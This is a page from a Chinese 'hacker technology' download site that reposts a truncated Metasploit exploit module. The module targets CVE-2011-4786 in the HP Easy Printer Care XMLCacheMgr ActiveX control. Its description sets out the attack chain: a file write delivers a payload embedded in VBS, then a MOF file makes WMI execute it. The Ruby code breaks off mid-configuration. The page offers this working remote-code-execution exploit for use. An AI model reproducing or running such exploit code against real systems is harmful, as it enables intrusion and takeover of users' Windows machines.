网通主站  |  电信镜像

软件下载 黑客软件 安全相关 动画教程 常用软件 杀毒专栏 最新更新 国外黑软 手机软件 股票软件
技术教程 新闻动态 黑客技术 安全漏洞 加密解密 安全防御 病毒资讯 技术文摘 网络杂文 以前教程
软件教程 黑软教程 安软教程 系统工具 网络工具 多媒体类 图形图像 联络聊天 实用工具

QQ 专 区

返回首页
当前位置: 主页 > 黑客技术 > Exploit >

HP Easy Printer Care XMLCacheMgr Class ActiveX Control Remot

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.c

  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE
    include Msf::Exploit::WbemExec

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'HP Easy Printer Care XMLCacheMgr Class ActiveX Control Remote Code Execution',
            'Description'    => %q{
                    This module allows remote attackers to place arbitrary files on a users file
                system by abusing the "CacheDocumentXMLWithId" method from the "XMLCacheMgr"
                class in the HP Easy Printer HPTicketMgr.dll ActiveX Control (HPTicketMgr.dll
                2.7.2.0).

                    Code execution can be achieved by first uploading the payload to the remote
                machine embeddeding a vbs file, and then upload another mof file, which enables
                Windows Management Instrumentation service to execute the vbs. Please note that
                this module currently only works for Windows before Vista.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Andrea Micalizzi',  # aka rgod original discovery
                    'juan vazquez',      # Metasploit module
                ],
            'References'     =>
                [
                    [ 'CVE', '2011-4786'],
                    [ 'BID', '51396'],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-013/' ],
                ],
            'DefaultOptions' =>
                {
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Payload'        =>
                {
                    'Space'           => 2048,
                    'StackAdjustment' => -3500,

 
------分隔线----------------------------